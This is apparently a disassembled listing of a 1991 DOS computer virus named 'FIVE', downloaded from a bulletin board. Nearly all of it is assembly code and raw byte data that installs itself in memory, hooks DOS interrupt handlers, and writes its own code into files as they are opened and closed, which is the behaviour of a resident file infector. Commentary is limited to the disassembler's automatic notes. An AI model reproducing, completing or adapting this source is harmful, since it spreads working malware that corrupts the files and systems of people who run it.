  
PAGE  59,132
  
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ								         ÛÛ
;ÛÛ			        FIVE				         ÛÛ
;ÛÛ								         ÛÛ
;ÛÛ      Created:   18-Jan-91					         ÛÛ
;ÛÛ      Version:						         ÛÛ
;ÛÛ      Passes:    5	       Analysis Options on: H		         ÛÛ
;ÛÛ								         ÛÛ
;ÛÛ								         ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
  
data_1e		equ	200h			; (0000:0200=0)
data_2e		equ	4			; (7415:0004=0)
data_6e		equ	0FE07h			; (7415:FE07=0)
  
seg_a		segment	byte public
		assume	cs:seg_a, ds:seg_a
  
  
		org	100h
  
five		proc	far
  
start:
		mov	si,4
		mov	ds,si
		lds	dx,dword ptr [si+8]	; Load 32 bit ptr
		mov	ah,13h
		int	2Fh			; Multiplex/Spooler al=func 00h
						;  get installed status
		push	ds
		push	dx
		int	2Fh			; Multiplex/Spooler al=func 00h
						;  get installed status
		pop	ax
		mov	di,0F8h
		stosw				; Store ax to es:[di]
		pop	ax
		stosw				; Store ax to es:[di]
		mov	ds,si
		lds	ax,dword ptr [si+40h]	; Load 32 bit ptr
		cmp	ax,117h
		stosw				; Store ax to es:[di]
		mov	ax,ds
		stosw				; Store ax to es:[di]
		push	es
		push	di
		jnz	loc_1			; Jump if not zero
		shl	si,1			; Shift w/zeros fill
		mov	cx,1FFh
		repe	cmpsb			; Rep zf=1+cx >0 Cmp [si] to es:[di]
		jz	loc_2			; Jump if zero
loc_1:
		mov	ah,52h			; 'R'
		int	21h			; DOS Services  ah=function 52h
						;  get DOS data table ptr es:bx
		push	es
		mov	si,0F8h
		les	di,dword ptr es:[bx+12h]	; Load 32 bit ptr
		mov	dx,es:[di+2]
		mov	cx,207h
		rep	movs byte ptr es:[di],ss:[si]	; Rep when cx >0 Mov [si] to es:[di]
		mov	ds,cx
		mov	di,16h
		mov	word ptr [di+6Eh],117h
		mov	[di+70h],es
		pop	ds
		mov	[bx+14h],dx
		mov	dx,cs
		mov	ds,dx
		mov	bx,[di-14h]
		dec	bh
		mov	es,bx
		cmp	dx,[di]
		mov	ds,[di]
		mov	dx,[di]
		dec	dx
		mov	ds,dx
		mov	si,cx
		mov	dx,di
		mov	cl,28h			; '('
		rep	movsw			; Rep when cx >0 Mov [si] to es:[di]
		mov	ds,bx
		jc	loc_4			; Jump if carry Set
loc_2:
		mov	si,cx
		mov	ds,ss:[si+2Ch]
loc_3:
		lodsw				; String [si] to ax
		dec	si
		or	ax,ax			; Zero ?
		jnz	loc_3			; Jump if not zero
		lea	dx,[si+3]		; Load effective addr
loc_4:
		mov	ax,3D00h
		int	21h			; DOS Services  ah=function 3Dh
						;  open file, al=mode,name@ds:dx
		xchg	ax,bx
		pop	dx
		push	dx
		push	cs
		pop	ds
		push	ds
		pop	es
		mov	cl,2
		mov	ah,3Fh			; '?'
		int	21h			; DOS Services  ah=function 3Fh
						;  read file, cx=bytes, to ds:dx
		mov	dl,cl
		xchg	cl,ch
		mov	al,byte ptr ds:[100h]	; (7415:0100=0BEh)
		cmp	al,data_5		; (7415:02FF=2Ah)
		jne	loc_5			; Jump if not equal
		mov	ah,3Fh			; '?'
loc_5:
		jmp	$-157h
  
five		endp
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_1		proc	near
		push	bx
		mov	ax,1220h
		int	2Fh			; Multiplex/Spooler al=func 20h
		mov	bl,es:[di]
		mov	ax,1216h
		int	2Fh			; Multiplex/Spooler al=func 16h
		pop	bx
		lea	di,[di+15h]		; Load effective addr
		mov	bp,200h
		retn
sub_1		endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_2		proc	near
		mov	ah,3Fh			; '?'
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_3:
		pushf				; Push flags
		push	cs
		call	sub_4			; (0248)
		retn
sub_2		endp
  
		db	0E8h, 0DFh, 0FFh, 26h, 8Bh, 35h
		db	0E8h, 0EFh, 0FFh, 72h, 24h, 3Bh
		db	0F5h, 73h, 20h, 50h, 26h, 8Ah
		db	45h, 0F8h, 0F6h, 0D0h, 24h, 1Fh
		db	75h, 14h, 26h, 3, 75h, 0FCh
		db	26h, 87h, 35h, 26h, 1, 6Dh
		db	0FCh, 0E8h, 0D0h, 0FFh, 26h, 29h
		db	6Dh, 0FCh, 96h, 0ABh
loc_6:
		pop	ax
loc_7:
		pop	es
		pop	si
		pop	di
		pop	bp
		retf	2			; Return far
		db	0E8h, 0C1h, 0FFh, 9Fh, 8Ah, 0C1h
		db	24h, 1Fh
		db	3Ch
data_4		db	1Fh
		db	75h, 2, 32h, 0C8h
loc_8:
		sahf				; Store ah into flags
		jmp	short loc_6		; (01F6)
		db	55h, 57h, 56h, 6, 0FCh, 8Bh
		db	0ECh, 8Eh, 46h, 0Ah, 0BFh, 17h
		db	1, 8Bh, 0F7h, 2Eh, 0A7h, 74h
		db	22h, 80h, 0FCh, 3Fh, 74h, 0A1h
		db	50h, 3Dh, 0, 57h, 74h, 0D1h
		db	80h, 0FCh, 3Eh, 9Ch, 53h, 51h
		db	52h, 1Eh, 74h, 1Bh, 3Dh, 0
		db	4Bh, 74h, 11h
loc_9:
		pop	ds
		pop	dx
		pop	cx
		pop	bx
		popf				; Pop flags
		jz	loc_6			; Jump if zero
		pop	ax
		pop	es
		pop	si
		pop	di
		pop	bp
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_4		proc	near
		jmp	dword ptr cs:data_2e	; (7415:0004=0)
		db	0B4h, 3Dh, 0CDh, 21h, 93h, 0E8h
		db	55h, 0FFh, 72h, 0E5h, 33h, 0C9h
		db	87h, 0CDh, 8Eh, 0DDh, 0BEh, 4Ch
		db	0, 0ADh, 50h, 0ADh, 50h, 0B8h
		db	24h, 25h, 50h, 0FFh, 74h, 40h
		db	0FFh, 74h, 42h, 0Eh, 1Fh, 0BAh
		db	67h, 0, 0CDh, 21h, 0C5h, 54h
		db	0B0h, 0B0h, 13h, 0CDh, 21h, 6
		db	1Fh, 89h, 2Dh, 88h, 6Dh, 0EDh
		db	81h, 7Dh, 14h, 4Fh, 4Dh, 75h
		db	34h, 8Bh, 55h, 0FCh, 2, 0F5h
		db	80h, 0FEh, 4, 72h, 2Ah, 0F6h
		db	45h, 0EFh, 4, 75h, 24h, 0C5h
		db	75h, 0F2h, 38h, 6Ch, 4, 76h
		db	8, 4Ah, 0D0h, 0EEh, 22h, 74h
		db	4, 74h, 14h
loc_10:
		mov	ds,bp
		mov	dx,cx
		call	sub_2			; (01C0)
		mov	si,dx
		dec	cx
  
locloop_11:
		lodsb				; String [si] to al
		cmp	al,cs:data_6e[si]	; (7415:FE07=0)
		jne	loc_13			; Jump if not equal
		loop	locloop_11		; Loop if cx > 0
  
loc_12:
		mov	ah,3Eh			; '>'
		call	sub_3			; (01C2)
		pop	ds
		pop	dx
		pop	ax
		int	21h			; DOS Services  ah=function 00h
						;  terminate, cs=progm seg prefx
		pop	ds
		pop	dx
		mov	al,13h
		int	21h			; DOS Services  ah=function 00h
						;  terminate, cs=progm seg prefx
		jmp	loc_9			; (023C)
loc_13:
		mov	cx,dx
		mov	si,es:[di-4]
		mov	es:[di],si
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file cx=bytes, to ds:dx
		mov	al,ds:data_1e		; (0000:0200=0)
		push	es
		pop	ds
		mov	[di-4],si
		mov	[di],bp
		or	byte ptr [di-8],1Fh
		push	cs
		pop	ds
		mov	data_4,al		; (7415:0207=1Fh)
		mov	dx,8
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file cx=bytes, to ds:dx
		or	byte ptr es:[di-0Fh],40h	; '@'
		jmp	short loc_12		; (02BE)
sub_4		endp
  
data_5		db	2Ah
  
seg_a		ends
  
  
  
		end	start

Downloaded From P-80 International Information Systems 304-744-2253
